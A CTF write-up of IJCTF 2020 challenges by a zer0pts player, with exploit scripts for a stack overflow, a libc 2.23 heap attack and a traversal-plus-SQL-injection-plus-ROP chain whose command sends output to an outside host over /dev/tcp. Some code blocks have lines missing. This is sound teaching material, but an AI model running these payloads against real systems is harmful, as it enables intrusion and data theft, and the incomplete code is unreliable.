IJCTF 2020 Writeups

I played IJCTF 2020 in zer0pts and we got 3rd place.


Other member's writeup:


[pwn 100pts] Input Checker

Description: Finding the best input.
Server: nc 5001
Files: https://github.com/linuxjustin/IJCTF2020/blob/master/pwn/input

It's a 64-bit ELF and PIE/SSP are disabled.

$ checksec -f input
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols      No      0               0       input

The binary has a simple buffer overflow and there's a piece of code which executes the shell. We just need to overwrite the return address. Be careful not to overwrite the loop counter during overflow.

from ptrlib import *

#sock = Process("./input")
sock = Socket("", 5001)

for i in range(0x418):
sock.send(p32(0x418)) # j
sock.send(b"A" * 0x14)
sock.send(p64(0xdeadbeef) * 3)


[pwn 620pts] Babyheap

Description: It's just a little baby, so treat it with love.
Server: nc 7001
Files: https://github.com/linuxjustin/IJCTF2020/tree/master/pwn/babyheap

PIE/SSP/RELRO are enabled.

$ checksec -f babyheap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   76 Symbols     Yes      0               6       babyheap

It's a normal heap challenge. We can keep 10 notes with each maximum 0x3ff-byte large. The vulnerability is obviously off-by-null:


The point is that we can't put null in the payload because it uses strcpy. I just used House of Einherjar to leak the libc address and corrupt the fastbin as the version of libc is 2.23.

from ptrlib import *

def new(size, data):
    sock.sendlineafter("> ", "1")
    sock.recvuntil("slot ")
    index = int(sock.recvline())
    sock.sendlineafter(": ", str(size))
    sock.sendafter(": ", data)
    return index

def delete(index):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(": ", str(index))

def show(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(": ", str(index))
    sock.recvuntil(": ")
    return sock.recvline()

libc = ELF("./libc6_2.23-0ubuntu10_amd64.so")
#sock = Socket("localhost", 9999)
sock = Socket("", 7001)
one_gadget = 0xf1147

# overlap chunks
new(0xf8, b"0" * 0xf7)
new(0x18, b"1" * 0x17)
new(0x68, b"2" * 0x67)
new(0xf8, b"3" * 0xf7)
new(0x18, b"4" * 0x17)
for i in range(6, -1, -1):
    if i == 6:
    payload = b"0" * (0x60 + i) + b'\x90\x01'
    payload += b'\0' * (0x68 - len(payload))
    new(0x68, payload)

# libc leak
new(0xf8, b"X" * 0xf7)
libc_base = u64(show(1)) - libc.main_arena() - 0x58
logger.info("libc = " + hex(libc_base))

# fastbin attack
for i in range(2, -1, -1):
    payload = b"0" * (0x20 + i)
    payload += p64(libc_base + libc.symbol('__malloc_hook') - 0x23)[:6]
    new(0x28, payload)
for i in range(6, -1, -1):
    payload = b"A" * (0x18 + i) + b'\x71'
    payload += b'\0' * (0x27 - len(payload))
    new(0x28, payload)
new(0x68, "/bin/sh\0" + "A" * 0x60)
payload = b"B" * 0x13 + p64(libc_base + one_gadget)
payload += b"\0" * (0x68 - len(payload))
new(0x68, payload)

# get the shell!
new(0x18, "hello")


[rev 728pts] Rev 0

Description: Try to find the flag!
Files: https://github.com/linuxjustin/IJCTF2020/tree/master/rev/rev0

We're given a shared object that is made for Python.

#!/usr/bin/env python3
import flagchecker

print("Enter Flag: ")
inp = input()
if flagchecker.CheckFlag(inp):
    print("Way to Go!")
    print("Bad Boy!")

It's so simple that I could analyse with IDA.

v18 = []
for i in range(len(flag)):
    v18.append([1, 1])
for j in range(len(flag)):
    for k in range(8):
        bit = (flag[j] >> k) & 1
        v18[j][bit ^ 1] = v18[j][0] + v18[j][1]
x = 0
for l in range(len(flag)):
    x *= 1361
    x += v18[l][0]
    x *= 1361
    x += v18[l][1]

It compares x with a fixed constant. I created a table for v18 to recover the flag.

table = {}
for c in range(0x100):
    w = [1, 1]
    for k in range(8):
        bit = (c >> k) & 1
        w[bit ^ 1] = w[0] + w[1]
    table[tuple(w)] = c
    if c == ord('I'): print(w)

n = 0xc8ec454b3ac5971259b9ec147b62f0543f37a526f4247aed6d318ff4ae3461d79ea5fda8f8632ddc3162f0b4cdb879d3ded85857a900785bbe250be80102e7ae2afd33cf074a9bf5058329e6fda96911e2694463378374a90d4e4e250327c4a0614ba51d4cf396f8a6b9f48f4a8a54e24fce4734b5833fe155ef66155475f6f86a5accd890c9143ba1c12f10515c9e682da44b41a83f49a1494df131f0bd4017cb5fb790d3c2eb183
v18 = []
while True:
    v18.append([0, 0])
    v18[-1][1] = n % 1361
    n = (n - v18[-1][1]) // 1361
    v18[-1][0] = n % 1361
    n = (n - v18[-1][0]) // 1361
    if n == 0:

flag = ''
for elm in v18:
    flag += chr(table[tuple(elm)])

[rev 986pts] Rev 2

Description: Standard Crackme!
File: https://mega.nz/file/gZ51BCiK#VNXAmjBdhwuFkIi78hYbqR1qvrFFLiYRUvvug7mu7G0

The binary is made by AutoIt. The author of the challenge, x0r19x91, wrote an amazing decompiler for AutoIt and we used it. It reveals there’re 20 rounds that generates more AutoIt executables. The final executable is also made by AutoIt and could be decompiled. The main process is this:

Local $ans = InputBox("Login", "Enter Password:")
Local $fuck[0x3c][0x3c]
Local $magic[0x3c]
$fuck[0x1e][0x4] = 0x46
$fuck[0x32][0x8] = 0x5c
MsgBox($mb_iconinformation, "Auth.", "Access Granted")
Run(@ComSpec & " /C timeout 2 & del " & @ScriptFullPath, "", @SW_HIDE, $stderr_child + $stdout_child)
    MsgBox($mb_iconerror, "Auth.", "Not so Easy!")
    Run(@ComSpec & " /C timeout 2 & del " & @ScriptFullPath, "", @SW_HIDE, $stderr_child + $stdout_child)
EndFunc   ;==>BADBOY

It just generates a 60x60 matrix A and a vector Y of 60-byte long. Let the flag be a vector X, then the following equation holds:


It’s a simple math. I used sage to find X.

from sage.all import *
import re

fuck = [[0 for i in range(0x3c)] for j in range(0x3c)]
magic = [0 for i in range(0x3c)]
with open("extracted.txt", "r") as f:
    for line in f:
        r = re.findall("\$fuck\[0x([0-9a-f]+)\]\[0x([0-9a-f]+)\] = 0x([0-9a-f]+)", line)
        if r:
            fuck[int(r[0][0], 16)][int(r[0][1], 16)] = int(r[0][2], 16)
        r = re.findall("\$magic\[0x([0-9a-f]+)\] = 0x([0-9a-f]+)", line)
        if r:
            magic[int(r[0][0], 16)] = int(r[0][1], 16)

A = matrix(fuck)
Y = vector(magic)
X = A.solve_right(Y)

flag = ""
for c in X:
    flag += chr(c)

[forensics 998pts] List Of File Type

Description: when the investigation going, the hacker said i hide everything with password protected, u cant crack . Even u cant find what file u want cause you missed one file(the file ll help u to get the password). but many list of file type idk which file type is it.
Files: https://drive.google.com/file/d/1AlbQTHeim1oKzHFpPMpWNuyWoOiXVVOb/view?usp=sharing

It's a memory forensics challenge.

pstree shows TrueCrypt:

. 0xfffffa80031c0060:TrueCrypt.exe                   2488   2288     16    480 2020-04-16 11:17:57 UTC+0000

truecryptpassphrase finds the password:

Found at 0xfffff88003cbaee4 length 23: d3p_tr4i_4nd_b0_d0i_qu4

hivelist + hashdump + crackstation reveals the user password is t0mc4t.

In the result of filescan exists the following two suspicious files:

0x000000007cdb3d90     16      0 -W-rwd \Device\HarddiskVolume2\Users\Bin\Desktop\flag.pngmp\vmware-Bin\VMwareDnD\e904785e\flag.png
0x000000007cdcc070     32      0 RW---- \Device\HarddiskVolume3\LoiNho-DenVau.wav

The first one is actually a GPG encrypted file and the second one is wav without sound.

I used steghide to extract data from the wav with the password: t0mc4t. (I couldn't find any evidence that the user used steghide for this file, but it worked somehow :thinking_face: :thinking_face: :thinking_face:) It dumps a file named True_or_False_Crypt.docx.

00000000  7a 06 76 fc aa 1e df 27  7c 6c 66 f0 6c 6a 92 00  |z.v....'|lf.lj..|
00000010  04 76 05 f6 f4 92 39 5d  b2 0c 74 4f 5a 47 62 8c  |.v....9]..tOZGb.|
00000020  d0 9e b7 8c 46 71 0a 6d  58 70 28 45 6f 98 21 b9  |....Fq.mXp(Eo.!.|
00000030  ce 3d 42 50 fe be 70 84  65 f6 6e f2 81 d7 31 fb  |.=BP..p.e.n...1.|

Truecrypt can mount this with the password: d3p_tr4i_4nd_b0_d0i_qu4.

You can find secret.txt in the mounted disk.

password: k0_b1k_d4t_p4ss_l4_g1

Use gpg to decrypt flag.png with this password.

$ cat flag.txt

[rev+web+pwn 1000pts] built_in_http

Rev part

The binary is made by C++. PIE/SSP/RELRO are disabled. It's an HTTP server without fork. I analysed the binary with IDA and found some features:

  • It finds different directories depending on the request path
    • /XXX: ./template/XXX.tpl
    • /static/XXX: ./static/XXX <-- directory traversal
    • /admin: ./admin/panel.tpl
      • This requires key as GET parameter
      • Key is stored in ./secret.txt
  • There are 3 template functions (effective for .tpl files)
    • [^fopen_test:XXX^]: Open/read XXX <-- stack overflow
    • [^sql_test:XXX^]: Execute SELECT * FROM users WHERE id='XXX' in testdb.db <-- sql injection
    • [^version^]: Execute system("echo 1.0.0")
  • Template variable is implemented
    • [%XXX%]: expands GET parameter of name XXX. This is prior to template function, which means we may inject template function here.

Our goal is pwn the Stack Overflow in [^fopen_test^]. (/flag is not readable.)

Web part

@st98 found he could leak the contents of secret.txt with the directry traversal attack. Intruding into /admin with the key, I could see [^sql_test:%var%^] was working. Unfortunately there's no template function used after this, which makes it impossible to inject another template function by the template variable. @st98 also found we could create SQL databases by the following SQL injection, for example:


Since the files are treated as std::string, we can use this database as an HTML template. (Null is allowed) Using this SQLi and directory traversal, we can put arbitrary file and read it as a template.

Pwn part

We can cause buffer overflow since we can create arbitrary SQL db and use fopen_test to open it. The problem is we need to put our ROP chain at offset 0x8c8, which is in sqlite_master. After many attempts, @st98 found the following queries can put our payload at 0x8c8:

CREATE TABLE a.t(x);INSERT INTO a.t VALUES(randomblob(296)||X'[PAYLOAD HERE]'||randomblob(450))

I wrote a ROP chain which executes /flag and sends the result to my server.

from ptrlib import *
import random

rop_pop_rdi = 0x004070a3
rop_pop_rbp = 0x00402650
rop_mov_rbpM8_rdi_pop_rbp = 0x00405d3e
addr_cmd = 0x60a810
plt_system = 0x4022d0

def rndstr():
    return '{:08x}'.format(random.randrange(0x100000000))

EVIL = rndstr()
HOST, PORT = "", 3000
PATH = "/tmp/ptr-{}.tpl".format(EVIL)
HOST, PORT = "", 31337
PATH = "/tmp/ptr-{}.tpl".format(EVIL)

cmd = b'/bin/bash -c "/flag  >/dev/tcp/XXX.YY.ZZZ.WW/9999"'

# Craft ROP chain
payload  = p64(rop_pop_rbp + 1) # ret
payload += p64(rop_pop_rbp)
payload += p64(addr_cmd + 0x08)
for i, piece in enumerate(chunks(cmd, 8, padding=b'\0')):
    payload += p64(rop_pop_rdi)
    payload += piece
    payload += p64(rop_mov_rbpM8_rdi_pop_rbp)
    payload += p64(addr_cmd + 0x10 + 8*i)
payload += p64(rop_pop_rdi)
payload += p64(addr_cmd)
payload += p64(plt_system)

# Create exploit
sock = Socket(HOST, PORT)
EXPLOIT = rndstr()
logger.info("EXPLOIT @ /tmp/ptr-{}".format(EXPLOIT))
SQL = "CREATE TABLE a.t(x);INSERT INTO a.t VALUES(randomblob(296)||X'{}'||randomblob(450))".replace(" ", "\t")
SQL = SQL.format(payload.hex())
payload = 'GET /admin?key=20c366aada34781158ae700cec09a4ce&var={} HTTP/1.1'.format(
    "1';ATTACH\tDATABASE\t'/tmp/ptr-{}'\tAS\ta;{};SELECT\t'x".format(EXPLOIT, SQL)

# Create evil template
sock = Socket(HOST, PORT)
html = str2bytes("[^fopen_test:/tmp/ptr-{}^]".format(EXPLOIT))
payload = 'GET /admin?key=20c366aada34781158ae700cec09a4ce&var={} HTTP/1.1'.format(

# Open evil template
sock = Socket(HOST, PORT)
payload = 'GET /static/../../../../../../../tmp/ptr-{}.tpl HTTP/1.1'.format(EVIL)